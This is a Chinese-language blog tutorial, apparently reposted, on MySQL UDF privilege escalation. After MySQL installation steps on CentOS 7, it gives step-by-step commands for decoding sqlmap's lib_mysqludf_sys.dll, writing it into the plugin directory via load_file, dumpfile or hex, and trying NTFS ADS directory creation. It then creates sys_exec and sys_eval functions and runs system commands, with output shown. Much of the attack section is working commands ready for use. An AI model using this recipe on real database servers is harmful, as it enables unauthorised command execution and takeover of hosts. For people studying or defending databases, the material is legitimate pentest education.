Mysql 提权(UDF提权)

Mysql 安装

以 Centos 7 为例

  1. wget下载安装包

    wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm

  2. 安装软件源

    rpm -Uvh mysql57-community-release-el7-10.noarch.rpm

  3. 安装 mysql 服务端

    yum install -y mysql-community-server

  4. 启动mysql

    service mysqld start

  5. 查看mysql运行状态

    service mysqld status

如图,成功启动
1.png

  1. 修改mysql临时密码
  • 为了加强安全性,MySQL5.7为root用户随机生成了一个密码,在error log中,关于error log的位置,如果安装的是RPM包,则默认是/var/log/mysqld.log

    grep ‘temporary password’ /var/log/mysqld.log //启动mysql后查看临时密码

  1. 登录并修改默认密码

    mysql -u root -p // root 用户登录mysql
    alter user ‘root‘@’localhost’ IDENTIFIED BY ‘newpassword’;
    1819报错执行两条语句,修改两个全局参数
    set global validate_password_policy=0;
    set global validate_password_length=1;

图片.png

MYSQL 利用udf提权

提权思路:
  1. udf文件放到指定位置(mysql版本 > 5.1udf.dll导出到安装路径MySQLLibPluginmysql版本 < 5.1 , udf.dll文件在win server 2003下放置于c:windowssystem32目录,在win server 2000下放置在c:winntsystem32目录)
  2. 从udf(user defined function) 文件中引入自定义函数(linux环境下导出lib_mysqludf_sys.soWindows下导出dll文件)
  3. 执行自定义函数
提权步骤
  1. 查看 mysql 版本及plugin文件位置

    mysql> status
    探测到靶机版本5.5 > 5.1,从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

    1.png

    使用select @@plugin_dir全局变量查询plugin文件夹

2.png

  1. 查找 udf.dll 文件
    SQLMAP 提供了现成的 udf.dll ,位于sqlmap/udf/mysql/windows目录下,由于MySQL位数为32,所以在此选择32位的 dll 文件
    3.png
    由于sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具 cloak.py,进入到 sqlmapextracloakcloak 目录下,执行命令生成 dll 文件:

    cloak.py -d -i E:sqlmapsqlmapproject-sqlmap-4cd8590udfmysqlwindows32lib_mysqludf_sys.dll_

4.png

同时MSF也提供了现成的 udf.dll 文件,文件位置

1
2
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll

  1. udf.dll 文件写入数据库
  • 方法一:远程加载
    load_file() 函数支持远程加载,配合 dumpfile 实现写入
    lib 目录下一定要有 plugin 文件夹 否则报错
    5.png

使用NTFS ADS流创建 plugin,lib 文件夹,大佬的代码但是我没有成功。。你们可以尝试一下

1
2
select 'It is dll' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录

6.png

  • 方法二:HEX 写入
    在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了
    1
    select hex(load_file('E:\sqlmap\sqlmapproject-sqlmap-4cd8590\udf\mysql\windows\32\lib_mysqludf_sys.dll')) into outfile "E:\udf32.hex";

生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令,16进制代码前记得加0x表示16进制

1
select 0x4D5A9000030000000…(太长省略) into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";

依旧需要plugin文件存在,这里我手动创建了一个毕竟那个NFTS ADS流创建我没创建成功

  1. dll 文件利用
    sqlmap中的 udf 文件提供的函数:
    1
    2
    3
    4
    sys_eval,执行任意命令,并将输出返回。
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    大专栏  Mysql 提权(UDF提权)line">sys_set,创建或修改一个环境变量。

加载函数

  • sys_exec函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mysql> create function sys_exec RETURNS int soname 'udf.dll' ;
    Query OK, 0 rows affected (0.01 sec)

    mysql> select * from mysql.func where name = "sys_exec";
    +----------+-----+---------+----------+
    | name | ret | dl | type |
    +----------+-----+---------+----------+
    | sys_exec | 2 | udf.dll | function |
    +----------+-----+---------+----------+
    1 row in set (0.00 sec)

    mysql> select sys_exec('whoami');
    +--------------------+
    | sys_exec('whoami') |
    +--------------------+
    | 0 |
    +--------------------+
    1 row in set (0.20 sec)

函数删除

1
2
3
4
5
mysql> drop function sys_exec;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)

  • sys_evel() 函数(该功能将执行系统命令并在屏幕上通过标准输出显示)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mysql> create function sys_eval returns string soname 'udf.dll';
    Query OK, 0 rows affected (0.00 sec)

    mysql> select * from mysql.func where name = "sys_eval";
    +----------+-----+---------+----------+
    | name | ret | dl | type |
    +----------+-----+---------+----------+
    | sys_eval | 0 | udf.dll | function |
    +----------+-----+---------+----------+
    1 row in set (0.00 sec)

    mysql> select sys_eval('whoami');
    +-----------------------+
    | sys_eval('whoami') |
    +-----------------------+
    | desktop-jg0a4e7wcute |
    +-----------------------+
    1 row in set (0.08 sec)

函数删除

1
2
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

  • sys_get() 函数(该函数返回系统变量的值)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    mysql> create function sys_get returns string soname 'udf.dll';
    Query OK, 0 rows affected (0.00 sec)

    mysql> select * from mysql.func where name = "sys_get";
    +---------+-----+---------+----------+
    | name | ret | dl | type |
    +---------+-----+---------+----------+
    | sys_get | 0 | udf.dll | function |
    +---------+-----+---------+----------+
    1 row in set (0.00 sec)

    mysql> select sys_get('COMSPEC');
    +-----------------------------+
    | sys_get('COMSPEC') |
    +-----------------------------+
    | C:Windowssystem32cmd.exe |
    +-----------------------------+
    1 row in set (0.00 sec)

删除函数

1
drop function sys_get;

参考链接:
https://www.cnblogs.com/silentdoer/articles/7258232.html
http://www.mamicode.com/info-detail-2294087.html
https://www.k0rz3n.com/2018/10/21/Mysql%20%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/
https://blog.csdn.net/qq_26090065/article/details/81515355

猜你喜欢

转载自www.cnblogs.com/liuzhongrong/p/12365289.html